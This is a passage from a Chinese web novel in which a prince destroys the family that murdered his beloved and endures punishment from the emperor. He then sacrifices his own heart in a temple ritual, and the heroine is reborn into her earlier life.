比起谢詹杭来,慕枭的人下手更利落,自然也更残忍,那场面,让谢詹杭睚眦欲裂。 他厉声咆哮。 “慕枭,皇上不会放过你的,你不会有好下场的。” 这话,慕枭早已经听腻了。 他会在乎? 更何况,就算是这全天下的人,都有资格说这话,唯独他谢詹杭,没这个资格。 浑然不在意的笑笑,慕枭连回应都懒得回应。 看向天晴,慕枭只沉声吩。 “天晴,断永昌侯经脉,让他多活一个时辰,把他吊到永昌侯府门外去,让他好好瞧瞧,他捧在手心里,视若珍宝的谢婉宁,能否靠着那生时的满天霞光,佑他侯府福禄无忧?让他睁大了眼睛好好瞧瞧,他求佛祖保佑要世代昌荣的永昌侯府,能不能撑过今日?” “是。” 天晴即刻上前。 被拖着往外去,谢詹杭痛苦的挣扎,他喊声响起,声嘶力竭。 可很快他就喊不出来了。 因为,慕枭的吩咐声,随即又响了起来。 “谢家满门,但凡血亲,一个不留,死士一律处死,丫鬟、小厮杖责三十,尽数发卖,这永昌侯府……给本王烧了。” 伤害谢晚棠的人,都得付出代价。 这囚禁了谢晚棠,伤害了谢晚棠的肮脏地方,也没有留下的必要。 烧了干净。 慕枭吩咐完,抱着孩子便出去了。 几乎哭红了眼的谢晚棠,见状,也快速跟了上去。 永昌侯府外。 谢詹杭被吊在门外,吊的高高的,他眼睁睁的瞧着血亲被杀,死士尽死,丫鬟、小厮被打,痛苦哭嚎,看着奢华富贵的永昌侯府,在通天的火光中,渐渐化为灰烬,他泣不成声。 “不……不……” 谢詹杭连连摇头,他怎么都没想到,事情会发展到这一步。 他后悔! 后悔三年前,让谢晚棠代替谢婉宁,去慕枭身边伺候。后悔三年后,谢婉宁活埋了谢晚棠后,他选择了帮着谢婉宁善后。 若非如此,事情或许不会闹成现在这样。 偌大的永昌侯府,也不会付之一炬,他谢家满门,不至于落到这般田地。 “错了,都错了。” 谢詹杭哽咽的呢喃,他声音很浅,却字字泣血,撕心裂肺。 晚棠瞧在一旁瞧着,她看着谢詹杭痛不欲生,看着他悔不当初,可是,谢晚棠知道,谢詹杭不论如何后悔,都不曾后悔那般对她。 十六年的囚禁,她死后的毁尸、焚尸—— 谢詹杭没后悔过。 他嘴上说着“错了”,可却不是知错了,他只是在痛苦,没有做的更好,结果不尽如他意。 他的后悔,他的知错,这里面,从来都没有对她的愧疚。 这就是她爹。 这就是带她来到这世上,却又嫌恶她来到这世上的人。 谢晚棠什么都明白,她也正因为什么都明白,才觉得心中不是滋味。但眼见着这囚困了她一生的永昌侯府,渐渐化作了灰烬,不复存在,她心中堆积的恨意,也像是化作了一缕尘烟,跟着消散了。 不是她不恨了。 而是这些人,这侯府,已经不值得她再费心了。 比起这些人,现在,她更担心慕枭。 在皇上正看重谢詹杭的时候,在皇上许诺,要封谢詹杭为定国公,要赐他免死金牌的时候,慕枭这般为她大动干戈,毁了永昌侯府…… 他真的能全身而退吗? 谢晚棠不确定。 眼见着慕枭抱着孩子上了马车,谢晚棠再也不耽搁,她头也不回的跟了上去。 …… 御书房。 慕枭过来的时候,天都已经要微微亮了。 皇上早听了慕临和冯公公的回禀,知道永昌侯府发生的一切,他甚是震怒。瞧着进门的慕枭,皇上扬手拿起桌上的砚台砸向他。 “糊涂东西。” 就算他是九五之尊,手握生杀予夺的大权,也需要权衡利弊。 谢詹杭有功,而且是大功。 这种时候动谢家,几乎灭了谢家满门,这让朝臣如何看?尤其是,慕枭如此,也不过是为了个女人,这让朝臣如何想? 这是色令智昏! 这些年,慕枭用一身的伤,才拼出了地位,拼出了声望,拼出了赫赫威名,不世之功。 今日这一遭,他多年的努力,怕是要全毁了。 简直愚蠢! “跪下!” 听着皇上的厉喝,慕枭径直跪了下来。 皇上凝眉,“你可知错?” “儿臣无错,”抬眸,对上皇上的眸子,慕枭眼睛平静无波,尽是笃定,“永昌侯一家,谋害儿臣的王妃,冒犯皇族,其罪当诛。” “无名无分的跟着你,算你哪门子的王妃?” “在儿臣心里,她是。” “你……” “更何况,食君之禄,担君之忧,心怀天下,福佑万民,这才是为臣之道,为臣之责。 他谢詹杭,他谢家满门,食君禄,却不能为父皇分忧,手中明明掌控着矿脉图,却不早早呈上,而是选在生死存亡之际,以此做筹码,其心可诛。 再者,虎毒不食子,他谢詹杭待女如此,枉为人父,他谢家满门待亲如此,更枉为人。这样的人,这样的臣子,又谈何心怀天下,福佑万民?” 慕枭振振有词。 只是,知子莫若父,慕枭这些冠冕堂皇的话,皇上一个字都不信。 “是为了天下,还是为了女人,你自己清楚。” “父皇圣明。” “你……” 慕枭承认的坦荡,皇上瞧着他那样,气不打一处来,他将手边的折子,一股脑的扫到了慕枭跟前。 “糊涂东西,滚去宫门口跪着。” “儿臣领旨。” “杖责五十,罚跪三日,但愿到那时候,你还能这般嘴硬,还能一点都不后悔。” “谢父皇恩典。” 慕枭谢恩,起身便出了御书房。 他做的事他认,皇上要平息众怒,要安抚朝臣,要为他守着名声和威望,一应事,他都担着。 他不后悔今日下狠手。 若说后悔,他只后悔当初离京时,没有帮谢晚棠打点好一切,没能护她周全。他只后悔,没能早点发现谢晚棠的身份,没能早点让她从永昌侯府那糟烂透了的家里解脱出来。 御书房外,不知何时已经飘起了雪花。 鹅毛似的雪片子,被冷风裹挟着,直往人脸上冲。 慕枭出宫。 玄色的披风、锦袍,在风雪中衣袂翻飞,他走在漫长的宫道上,脑海里,全都是曾经和谢晚棠的种种。 他恍然记起来,他北上离京时,谢晚棠说,今年天冷雪多,她要收集些梅上雪,等他回来时,与他围炉煮茶。她还说,新看的话本子上写了,姑娘新学了一支羽衣舞,在雪中梅林翩翩起舞,得郎君深情,她也要学学,等他回来跳给他看。 如今,他回来了,雪也来了…… 可谢晚棠人却不在了。 慕枭心里难受,唇齿间,那股血腥味,又止不住的上涌。 宫门口。 见慕枭跪下,御林军很快就过来了。 一见那阵势,谢晚棠的心就提到了嗓子眼,不知为何,她进不了宫门,她不知道里面都发生了什么,可御林军来者不善,她看得出来。 “王爷,得罪了。” 御林军开口。 闻声,慕枭解了身上的披风,他脊背挺直。 漫天风雪,似乎也成了他的陪衬。 御林军手执棍棒,即刻动手,手腕粗的木棍,径直落在了慕枭的身上。 慕临那头早已经安排了自己的人,也打过了招呼,御林军下手极狠,只一下,慕枭玄色的锦袍,便洇出了一道血痕。 紧接着,棍棒便如瓢泼的雨,疯狂落下来。 一下一下,狠厉至极。 慕枭眼睛都没眨。 可谢晚棠却红了眼眶,她疯了似的冲上去,从背后抱住慕枭。 “不要,不要打了,不要打了。” 她魂魄单薄,可是,她也只有这单薄的魂魄了。她知道,自己大约是护不住慕枭的,可是,她真的好想护一护他…… 第45章 美人关 背上温热热的。 连带着棍棒落下,似乎都感觉不到疼了。 慕枭眉头微微缩了缩,他了解慕临,动手的御林军绝不可能手软,而这种温热的感觉,他曾经感受过。 在梦到谢晚棠惊醒后,在他受伤,躺在床上昏昏沉沉养伤时。 是她! 想着这种可能,慕枭心中波澜四起。 抬手附在肩膀上的温热处,握住了谢晚棠的手,慕枭微微用力,他旋身将那谢晚棠护在身下。 挺拔如慕枭,兵临城下亦面不改色,脊背不弯半分。 此刻,他却躬身近乎蜷缩在地上。 有些慌张,有些狼狈。 恍惚间,慕枭似乎瞧见了谢晚棠的脸,簪子划伤的口子,纵横交错,连带着还有被剜去皮肉的伤,也一处连着一处。 慕枭红了眼。 他小心翼翼的抬手,想去摸摸谢晚棠。 可是,很快他又顿住。 有的时候,人是怕清醒的,眼下这样就挺好,他怕摸不到碰不着的现实砸过来,清醒的过分时,连这掺满了痛的相聚,也都会成为奢望。 棍棒落在背上的速度更快了,可慕枭却像是感觉不到疼一样,他目不转睛的看着谢晚棠。 谢晚棠眼泪似潮水奔涌。 “王爷……” 这是何苦呢? 护着她的人,护着她的尸体,也护着她的魂…… 被厌弃、被嫌恶、被要挟、被舍弃、被活埋、被分尸,一辈子她都没体会过多少温暖,她何德何能,被慕枭护着至此? 甚至,他不惜代价,不计后果。 值得吗? 之前,谢夫人问慕枭的话,不禁在谢晚棠耳畔徘徊。 她也想问……她值得吗? 谢晚棠怀疑,可瞧着慕枭痛苦却坚定的眼神,她知道,不论她值不值得慕枭如此,慕枭都是极好的人,他都值得被人倾心相待。 “王爷,若有来世,我一定好好待你,一定好好的……待你。” 就像你待我这般—— 不计代价! 谢晚棠心里想着,泪水模糊了她的视线,她能感觉到,自己的魂魄在一点点模糊透明,可拥抱着她的怀抱,却似乎越来越暖。 杖责五十,并没有耗费多久。 但慕枭被打的很惨。 他背上血肉模糊,血水浸透了锦袍,洇出来湿哒哒的一片。 风雪里,湿冷的凉意深入骨髓。 慕枭动也未动,他就那般静静的跪着,蜷缩着身子,拥着谢晚棠。 三日。 每一刻,都是煎熬。 尤其是夜里,冷意泛滥,慕枭身上的僵麻和虚弱,也在疯狂加剧,可他却极为贪恋这一刻的美好。 …… 三日后。 冯公公从宫里出来,看着面色惨白的慕枭,他沉声叹息。 “王爷,皇上口谕,王爷可以回了,但日后一定要谨记今日之祸,切勿再乱来了,否则决不轻饶。” “谢父皇。” 淡淡的应了一声,慕枭却没有起身。 不是起不来,只是不想起。 怀中的暖意还在,他隐约感觉到,谢晚棠大抵还在,他不确定起来后会变成什么样,他不想改变。 谢晚棠听到冯公公的话,已然起身,她想搀扶慕枭起来。 觉察到怀中的暖意消失了,慕枭面色大惊。 他翻身从地上起来,慌乱的张望。 “晚晚……晚晚……” 冯公公凝眉,“王爷……” “公公回吧。” 慕枭只应了一句,甚至没看冯公公一眼,他踉跄着往外走,想去寻一寻谢晚棠的影子。可背上伤的厉害,这短短几步,他就差点摔了七八次,模样狼狈的紧。 很快,慕枭就瞧见了慕临。 挡在慕枭跟前,慕临高高在上,洋洋得意。 “六弟,身子可好?” 慕枭站定脚步,挑眉看向他。 四目相对,慕临勾唇浅笑,“永昌侯死了,永昌侯府也被烧成了灰烬,因为这事,近三日弹劾六弟的折子,足足有上百份。但也托六弟的福,原本应该交到六弟手中的六部公务,尽数交给了我。作为兄长,本就应该为兄弟分忧,很感谢六弟给我这个机会。” 炫耀! 谢晚棠从慕临的话里,只读到了这两个字。 那小人得志的猖狂样,让她作呕。 谢晚棠紧张的看向慕枭,只见慕枭神色清冷,他看向慕临,甚至于脸上的表情都清冷的不起波澜。 “让开。” “你……” 慕临一噎,他想要开口,慕枭却已经先他一步伸了手。 慕枭直接将慕临推开了。 他往前走,四下张望。 依旧看不到谢晚棠的影子,这三日的相处,就宛若一场虚幻的梦,如今大梦方醒,万事皆已成空。 “晚晚……” 低喃着谢晚棠的名字,慕枭承受不住,他身子瘫软,很快就倒了下去。 慕临瞧着,眼底尽是嘲弄的笑。 “英雄难过美人关,这话倒还真对,早知道你也吃牡丹花下死这一套,我何至于这般担心?女人……多送你几个,那又何妨?” …… 齐王府。 慕枭是被天晴、天明带回府的。 请了太医来诊治,用了最好的药,可饶是如此,他依旧昏迷了整整两日,才清醒过来。 “晚晚。” 一醒来,慕枭就喊谢晚棠的名字。 谢晚棠也听到了。 她就守在慕枭的床边,只是,大约是魂魄太单薄太透明了,她明明就守在慕枭的身边,可是,之前那种近乎真实的拥抱相处,却再也实现不了了。 慕枭根本觉察不到她的存在。 倒是门外的天晴,听到声音,急忙推门进来。 “王爷,你醒了。” “晚晚呢?” 看着天晴,慕枭急声询问。 听问,天晴语塞,他犹豫了片刻,这才回应,“王爷,晚棠姑娘的尸身,还在景溪别院。属下已经请最好的师傅,帮着晚棠姑娘缝合尸骨了,只是,她尸身损毁严重,只怕缝合的效果不会太好。” 尸身、尸骨,听了几次这话,慕枭的眸子也暗了下来。 他掀了被子下床。 见状,天晴吓了一跳,“王爷,太医说你背上伤的重,需要静养。” “让开。” “王爷,身子骨要紧,晚棠小姐最在乎王爷的身子了,若是她知道王爷这么糟践自己的身子,她是指定会心疼的。” 慕枭红着眼睛看向天晴,“若是她心疼我,她是不是就会来见我?” “王爷……” “去备马,立刻去。” 天晴不知道慕枭要做什么,可他拦不住。 没有办法,天晴即刻去准备马车,为了让慕枭能舒服些,他特意让人在马车上铺了毯子和软垫,他和天明一起小心翼翼的扶着慕枭上马车。 马车径直出了齐王府。 谢晚棠急忙跟上。 和谢晚棠想的一样,慕枭去了景溪别院。 谢晚棠的尸体,被收在了棺木中,如天晴所说,她的尸体已经找人缝合过了,但被毁成那般的尸骨,很难恢复。 慕枭抱着谢晚棠的尸骨,待了一刻钟,之后他收敛情绪,让人拖着谢晚棠的棺木上马车。 无讳大师说:君好卿未好,君归卿难归。 是难归。 而不是不归。 他不确定无讳大师到底是何意,可是,但凡有万分之一的希望,他也想要试一试。 哪怕是痴心妄想,他也要想一想! 不然,他不甘心! 不甘心和谢晚棠,就落得这样一个结局,这样惨淡收场。他不甘心,就这么放心上人离开,甚至连一句“喜欢”,都还未来得及说。 这样的放手,他做不到! 第46章 续前缘 慈恩寺。 慕枭带着谢晚棠的尸骨过来的时候,早已经有小僧在寺门口等着了。 见到慕枭,小僧快步迎上来。 “小僧见过施主。” 慕枭开门见山,“请问无讳大师可在?” 小僧道,“无讳大师早知今日施主会来,特意让小僧在此等候,无讳大师让小僧告诉施主,因果未断,前缘可续,施主若有所求,可以顺着慈恩寺西道的南天阶,一路到上面的回音阁寻无讳大师,到时候,大师自会为王爷解惑。” 一席话说完,小僧就转身离开了。 慕枭转头看向南天阶。 南天阶是慈恩寺一绝,一共有九百九十九级台阶,又叫通天阶。据传,只要虔诚跪拜,一路直上南天阶,就能得神佛庇佑,得偿所愿。 只是,这些年真正上南天阶的人,并不算多。 九百九十九级台阶太多。 再加上,这南天阶极陡,最难走的地方,石阶几乎是垂直于天地的,一般人也很难上去,甚至稍有不慎,还会从上边跌下来。 那是会要命的。 不到万不得已,没有人愿意冒险。 慕枭目光灼灼的盯着南天阶,不过片刻,他就转身去了马车边上。 “绳子。” 一听这话,谢晚棠就知道,慕枭要背着棺木上南天阶。 若是平常时候,谢晚棠不会太担心。 慕枭功夫了得,尤其是一身轻功,出神入化,区区南天阶,这高度对于旁人来说,那是通天阶,登上去难如登天,可是对于慕枭来说,想要上去轻而易举。就算是背着棺木,负重而上,也不会有太多的危险,关键时刻,他有能力自保。 可现在不一样。 慕枭挨了五十棍,又跪了三日,冻了三日,他伤了身子。 这种时候,他最该做的是卧床静养。 棺木本就重,南天阶又高又陡,慕枭这个身子,背着棺木上南天阶,不说自寻死路,也是极危险的,稍有不慎,性命堪忧,后果不堪设想。 谢晚棠不想慕枭再去冒险。 “王爷,不要去。” “你为我做的已经够多了,不要再拿性命去赌了。” “我承认,听到无讳大师说的那句‘前缘可续’,我很心动,我很想再回到王爷身边,再与王爷在一起,可比起那些,我更希望王爷平安。” “王爷,求你,别再冒险了。” “王爷,你听到了没有?回去吧,我们不去了,求你了,回去吧。” 谢晚棠一声声的嘶喊,试图让慕枭听到自己的声音。 同样,天明、天晴也听到了小僧的话。 慕枭开口,他们心下了然。 “王爷,”天晴犹豫片刻,还是坚定道,“通天阶难行,以王爷眼下的身子状况来看,并不适合冒险一试。既然无讳大师说‘因果未断,前缘可续’,那就证明宿命如此。也或者不急在这一时呢?不若王爷休养几日,等身子好些了再去?” 听着这话,谢晚棠认同的连连点头。 一旁,天明也劝。 “王爷,天晴所言有理,再等一等吧。而且,王爷这次被皇上责罚受伤,景王已然占了大便宜,若是王爷这头儿再出差错,伤了身子,他必定更为得意,连带着其他皇子,也会幸灾乐祸。这不是让亲者痛,仇者快?” “就是就是,”谢晚棠哭着附和。 这些道理慕枭都懂。 只是,理智之于深情,可有可无,而此刻那于他,最不重要。 “绳子。” 慕枭只说了一句,他语气强硬。 见状,天明、天晴都有些着急,他们两个上前,挡在慕枭跟前,也稍稍拦住他看向棺木的眼神,他们齐声开口。 “请王爷三思。” “让开。” 推开天明、天晴,慕枭踉跄着去了马车前,他自己去找绳子。 跟在慕枭身边多年,陪着他出生入死,天明、天晴都了解慕枭的脾气,瞧着慕枭的样子,他们一下子红了眼眶。 知道拦不住,索性也不再拦。 他们转身去帮忙。 不过片刻,装着谢晚棠尸骨的棺木,就绑在了慕枭的背上。 只一瞬,慕枭背上的伤口就裂开了,血洇湿了他的背,一股浓郁的血腥味,随即散出来。 天明、天晴满眼担忧。 至于谢晚棠,则直接哭出了声。 这才开始,慕枭就伤成了这样,真要上了南天阶,到了最危险的时候,他会伤成什么样? 细思极恐。 谢晚棠甚至不敢深思。 她怕! 慕枭背着棺木上南天阶,伤的重,他极力稳住身形,才能保证不跌倒。 他走的很慢,上了南天阶之后,便是三叩九拜,每一次的身形变动,对于慕枭来说都是折磨。 天明、天晴一路在后面跟着,紧紧的护着他。 谢晚棠泪如雨下。 “不要了,不要了,王爷,求求你了,求你停下好不好?” 死人哪有活人重要? 为了她,这么去拼命,根本不值得。 慕枭生在皇家,出身尊贵,凭着他的身份和地位,想要嫁给他的女子数不胜数,他根本没必要执着于一人,尤其还是一个死人。 都道皇家无情,他也不必如此深情。 人不为己天诛地灭,他可以更自私一点,可以对自己更好一点。 可为什么他不是这样? 谢晚棠想着这些,心痛欲裂。 她是被囚禁在侯府后院的灾星,是被家人舍弃,却又极度盼着有人怜惜疼爱的可怜人,她从没想过,有朝一日,她会如此希望一个人不要这般好,不要这般待她好。 她会心疼! 慕枭的膝盖,很快就渗出了血,他的手上、额上也添了伤。 可他依旧在往前。 哪怕速度很慢,但从始至终,他都没有半点迟疑后悔。 南天阶越往上就越陡,而慕枭的身体状况,也越往上就越遭。有好几次,他都踩不稳,差点从上面跌下来。 还是天明、天晴从后面帮忙撑着,才帮他勉强稳住。 慕枭咬着唇,又把棺木往上背了背。 “你们松手吧。” “王爷……” 天明想要开口,只是,他才张嘴,就听到慕枭道。 “我本不信神佛,可而今既来,又有所求,自然是要虔诚用心的。这条路,我得一个人走,纵使跌下去,再重来就是了,总不能既要又要,糊弄神佛,也糊弄自己。” 话音落下,慕枭继续。 他脚步发抖。 天明、天晴从没有看过这样的慕枭,脆弱的仿佛风一吹就会倒,偏又坚定的仿佛天塌了,他也能撑住。 他们紧跟着,没有再帮忙,他们只是祈祷,慕枭能得偿所愿。 那样,这一遭罪,也不算白受。 只是—— 真的可能吗? 逝者已矣,谢晚棠已经死了,连尸骨也被毁的不成样子,这样的情况,无讳大师口中所谓的“前缘可续”,是真的能续吗? 他们不确定,同样,谢晚棠也不确定。 她一颗心如烈火烹油。 她怕慕枭受了所有的罪,带着期望走到回音阁,得到的不是所愿成真,而是希望破灭。 那……太残忍了! 她怕慕枭会承受不住! 第47章 无心人 谢晚棠正想着,就见慕枭身形踉跄,他身子太虚稳不住,直接往下跌了好几阶。 脸上、身上,留了好几处伤。 脊背上伤口崩裂的更多,血滴滴答答的往下落,殷红的色彩,在南天阶的小路上,晕染了一大片。 “王爷……” 谢晚棠疾呼了一声,冲着慕枭冲过去。 天明、天晴也着急的不行。 只是,他们冲过去的时候,慕枭只是摇摇头,并没有让他们出手。 手撑着地,慕枭强撑着起身,继续往前走。 “晚晚,等我。” 慕枭低喃。 这四个字,几乎成了支撑他的全部动力,一直到他的身体僵硬麻木,到他意识渐渐模糊,到他直不起身,只能背着棺木在地上爬,他也没停下。 因为他清楚,停下,大约就意味着结束,意味着再没有往后了。 之前,他已经失去过谢晚棠一次了。 他接受不了再来一次。 眼下这机会,哪怕希望渺茫,他也要抓住。 谢晚棠始终跟在慕枭身边,瞧着他痛苦坚持的模样,谢晚棠几乎崩溃。 可她阻拦不了。 南天阶这条路,慕枭背着棺木,整整爬了五个时辰,等他到回音阁,见到无讳大师的时候,他再也撑不住,直接倒了下去。 慕枭晕了足足三个时辰,才悠悠转醒。 他醒时,在回音阁顶层。 无讳大师就坐在旁边,他敲着木鱼,一声一声的清音,让人心清净。 可慕枭却清净不了。 他掀了被子,艰难的坐起来,许是动作太大,牵扯到了身上的伤,他身上每一处都疼。 可他根本不管那些,定定的看着无讳大师,他急切的询问。 “大师,现在可以说了吗?” “什么叫卿难归?既是难归,不是不归,那要如何归?” “什么叫前缘可续?既是可续,那又要如何续?” 询问,一声接一声。 无讳大师手上动作微顿,清音戛然而止。 他侧头,定定的看着慕枭,眸光淡淡的,带着一股看透世俗的仙风道骨的气质,“凤凰涅槃,向死而生,难虽难,却可归,缘难续,却可续。要与不要,成与不成,只看王爷可有真心,可愿付出真心。” “我有。” 自来冷清,于感情不善表达,哪怕心动,慕枭也从未对谢晚棠说过。 甚至于体贴和温柔,都少之又少。 可他的心,他自己清楚。 他回应的笃定。 无讳大师看着他,目光缓缓落在慕枭的心口。 “王爷天潢贵胄,滔天权势唾手可得,为一人而舍天下,是否值得,是否真愿,王爷可得想好了。更何况,王爷今日若舍了心,纵使重来过,让无心人动心,亦是难事,那路走起来,想来也不会太顺遂。那样的结果,是否真是王爷想要的,王爷是否承受得了,王爷也得想清楚。” “舍了心?” “剜心作鼎雪中扪,血溅霜绡绽裂痕,为唤冰魂重转世,镂骨栽名素蕊温。” 无讳大师的话说的很慢很慢。 慕枭凝眉思忖。 谢晚棠听着,冲到慕枭身边,冲着他摇头。 “不要,王爷不要。” 什么舍了心,什么剜心、血溅、镂骨,说是可换她转世,可实际上不过是要慕枭的命。 谢晚棠不知道无讳大师是不是真有本事,算不算真的大师,她也不知道,无讳大师说的,又是不是真的…… 可她知道,她不想让慕枭死。 她不想让慕枭用一条命,去赌一个不确定的可能。 以命换命…… 不值得的! 同样,天晴、天明听着无讳大师的话,脸色也一片阴沉。甚至不避讳无讳大师,他们上前搀着慕枭便开口。 “王爷,可别被这个妖僧给骗了。” “就是,什么剜心,什么镂骨,说得好听,这分明是要王爷的命。” “这妖僧指不定是会派来的呢?他分明就是要借着晚棠小姐的事,借着王爷对晚棠小姐的深情,推王爷入地狱,万劫不复,他其心可诛。” “是啊王爷,可别听他的。” “晚棠小姐虽然嘴上不说,可素来看着王爷的眼神,都满是情意,她在生活的小细节里,深深的爱着王爷,没有轰轰烈烈,却细水长流,情意绵绵。都道情深不寿,晚棠小姐没的让人惋惜,可她的深情,却不会因为她的离开而消失。若是让晚棠小姐知道,王爷为了她,那般伤自己,她就算真的回来了,她会快乐吗?” “请王爷三思。” 天明、天晴你一言我一语,几乎磨破了嘴皮子。 他们想让慕枭冷静。 他们怕慕枭做傻事。 天明、天晴的话,说到了谢晚棠的心坎里,她紧紧的从后面抱着慕枭,泪流满面。 “王爷,千万不要犯傻,就算是为了我,你也要保重自己。” “人死不能复生的,别被他骗了。” “知道王爷心中有我,我心足矣,我不想让王爷冒险,若是那样,我宁可王爷从没有爱过我。” “王爷,别让我担心好不好?” “王爷……” 温热热的感觉,在背后流淌。 慕枭感受得到,他也隐隐能听到谢晚棠的劝阻。 他相信,谢晚棠就在自己身边,他相信,谢晚棠魂魄不散,就是在等他,等一个向死而生,涅槃重生的可能。 他不想放弃。 “好。” 对上无讳大师的眸光,慕枭点头。 “这颗心,我给,剩下的,就全仰仗无讳大师了。” “王爷……” 天明、天晴急声开口。 “别说了,”知道他们要说什么,慕枭直接将他们打断了,“自古情字最磨人,有朝一日,你们有了心仪之人,便会明白,我今日所选,皆是心甘情愿,是甘之如饴。我不怕万一,也不怕赌输了,愿赌服输,我既赌,那就输得起,可万一我赢了呢?” 慕枭想的明白,后果,他能承担,而若有所得,那是万幸。 无心人,不易…… 那意味着什么,他不清楚。 他只知道,既然眼前还有一条路,那他就要走走看。是峰回路转,还是一路到黑,只有走过才知道。 他既选了,就不会后悔。 “不要,王爷不要。” 谢晚棠嘶喊。 同样,天明、天晴也不想见慕枭如此,他们两个对视一眼,随即对慕枭出手。 若是平时,他们定然是打不过慕枭的,可眼下慕枭伤着,他们联手,必定能将慕枭制服,能带着慕枭离开这里。 只要慕枭能够平安,他们不在乎以下犯上,不在乎受罚。 甚至是搭上这条命,他们也甘愿。 慕枭没躲。 看着天明、天晴,慕枭眼中全是笑意。 “你们在意我,为了我,可以不要这条命,我待晚晚,亦是如此,你们义无反顾,我也会一往无前,都是一样的,又有什么可阻拦的?” “王爷……” “放手吧,无讳大师不打诳语,既然缘可续,那我便会和晚晚一起回来,不会有事的。” “可是王爷,若是万一呢?若是这个妖僧骗人呢?” “若是那般,就帮我把我和晚晚葬在一处,生同衾太短,死同穴……大抵就可以生生世世了,也算值得。” 慕枭话音落下,微微用力,就挣脱开了天晴、天明的钳制。 他一步步走向无讳大师。 “随我来。” 无讳大师看着慕枭开口。 之后,他带着慕枭,出了回音阁,去了回音阁后的通天台。 飞雪漫天,通天台上红色的条幅随乱摇,正中间的祭台上,一应工具都已经准备好了,最惹人眼的便是那把匕首—— 通身黑色,利刃飞白。 刺眼至极。 “以心换命,以骨换生,以血催动轮回祭盘,夙愿可成,王爷既已下定决心,那便……请!” 第48章 来日长 慕枭大步上前,直接拿起了匕首。 自打记事习武开始,慕枭没少拿刀,十八般武器,他也精通大半,只是,所有的武器从来都是对准敌人的。 他没想过,有朝一日,他手上这刀尖,也会指向自己。 不过也好。 所有求,就要有所舍,这是应该的。 慕枭倒是平静,他摩挲着匕首,看向天晴、天明。 “若天不遂人愿,你们替本王料理好齐王府,务必让府上众人都能有个安身之所,安乐而终。我手下的九重暝楼,以及一应产业,你们也要料理好,妥善处置。谨记,若无我,众人不必求高官厚禄,更不必掺和朝局,衣食无忧,岁岁平安,便是最好。” “王爷……” “你们的心意我懂,我的心,你们也该懂,不必再多言。我要去接晚晚了,但愿……会有来日,来日方长。” 慕枭语气温柔,可他的眼神里却满是决绝。 他随即动手。 匕首调转,直指自己。 谢晚棠看着慕枭急疯了,在慕枭动手的瞬间,她直冲过去,拦在慕枭跟前。 “不要。” 谢晚棠抱着慕枭,用自己的身子,将他的身子拦的死死的。 然而,匕首穿过了她的肩膀。 她的魂魄,像是被撕裂了一般,一点点的破碎,而那匕首穿过她后,径直落在慕枭的心口处。 血,染红了白刃,与漫天风雪相交融。 就像她死的那日一样。 慕枭身子瘫软。 可是,他脸上笑意不减。 仰头望着天,看着在眼前渐渐清晰的谢晚棠的魂魄,他轻喃。 “晚晚,我来陪你了,我……接你回家!我们的家!” …… 天启二十四年,十月末。 今年的雪来的格外早些,永昌侯府,后宅西南角的破落院子里,已经落了白茫茫的一层。 小屋里。 谢晚棠拿着扇子,用力的扇着炭盆里的杂灰炭。 浓烟弥漫了整个屋子,呛人的厉害。 “咳咳咳!” 谢晚棠一连咳嗽了好几声,脸都咳红了,连带着嗓子,也咳的隐隐发疼。 可这疼,也让她觉得真实。 她完全没想到,无讳大师没有骗人—— 她真的回来了! 回到了谢婉宁与魏亭澜私奔,逃离京城之前,回到了谢詹杭用沈嬷嬷的命要挟她,逼她以谢婉宁的身份,进齐王府之前。 已经三日了。 可这三日里,她每一次醒来,都害怕这是一场梦。 好在不是! 谢晚棠正想着,就听到门外传来了一阵脚步声,她回头看去,就见沈嬷嬷拎着一个小菜篮子,从外面进来。 大约在外面走了许久,沈嬷嬷头上、身上,都落了一层雪。 她穿的单薄,冻的脸色都变了。 “还是屋里暖和。” 沈嬷嬷进屋,一边掸身上的雪,一边念叨。 瞧着谢晚棠在弄炭,沈嬷嬷忙放下菜篮子,急匆匆的过来。 “前几日才摔了一跤,不好好在床上养着,下来弄这些做什么?杂灰炭呛人,你快往屋里坐坐,我来弄。” 从谢晚棠手里接过扇子,代替她坐在小凳子上烧炭。 沈嬷嬷不免自责。 “都怪我,在外面听了几句闲话,耽误了些工夫。要是我早回来点,哪用得着你做这些,受这个罪啊?” “嬷嬷,我没事了。” “没事也得好好养着,你还年轻,可不能落下病根,要不然这往后,还不知道要遭多少罪呢。” 谢晚棠看着沈嬷嬷,心里暖暖的。 她的沈嬷嬷,还跟上一世一样,满心满眼都是她。 可她不一样了。 这次,她要护好沈嬷嬷,再不能让沈嬷嬷受她拖累,跟她受罪了。 就像,她要好好保护好自己,保护好慕枭一样,她要让那些伤害他们的人,全都付出代价。 一个不落! 谢晚棠心里琢磨着这些事,眼底恨意流淌。 沈嬷嬷没有察觉,她捂着口鼻,扇扇子的手更快了些,她笑着念叨。 “不过,咱们也用不了多久这又呛又不暖的破杂灰炭了。这次,我送到绣坊的绣样,他们很喜欢,掌柜的给了我一个大单子,要是做得快,下个月我就能拿回来七八两银子,足够添置点好炭,过个暖和点儿的冬了。说不准,我还能再给你买两本书,再添两身衣裳呢。” 说着,沈嬷嬷的目光,就在谢晚棠身上打量。 “我们晚棠长大了,抽条了些,愈发好看了,是得做几件像样的衣裳了。” “嬷嬷真好。” “我这老婆子没用,也就只能做这么点事了,算什么好?” 沈嬷嬷说着,面色不禁沉了沉。 她失落又自责。 刚刚回来的路上,她听府上的人说,永昌侯要将谢婉宁送到齐王府去,也就这几日,谢婉宁就要成齐王的女人了。 沈嬷嬷没见过慕枭,但却听说过他。 据说,慕枭是皇上最宠爱的六皇子,战功赫赫,前途无量,他人很冷,不苟言笑,也不近女色,后院里没人,干干净净的。 沈嬷嬷怎么想,都觉得齐王府是个好去处。 前程不用担心! 后院里没腌臜事,少了争风吃醋,勾心斗角,自然更省心! 显然,谢詹杭是为谢婉宁好好谋划过的,可是,只比谢婉宁晚出生一刻钟的谢晚棠,怕是早就被他们抛诸脑后了。 谢晚棠的婚事,还不知道怎么样呢? 她倒是惦记着。 可是,她一个下人,能为谢晚棠做的,实在太少太少了。 像齐王府这样的门第,更是想都不敢想,怕是那府里的下人,她想安排,也高攀不上。 沈嬷嬷想着这些事,不免心酸。 这时,她就见谢晚棠目光灼灼的看她,眼里全是笑意。 “晚棠,你这么看着我做什么?” 谢晚棠也没有兜圈子,她轻声问道,“嬷嬷,你刚刚说听到了些闲话,都是什么闲话啊?” “没……没什么。” 不好提谢婉宁的事,怕谢晚棠难过,沈嬷嬷含糊回应。 谢晚棠却没有回避这事。 “是关于谢婉宁的婚事的,对吧?听说,她要进齐王府,做齐王的女人了,是吧?” “你怎么会知道?” 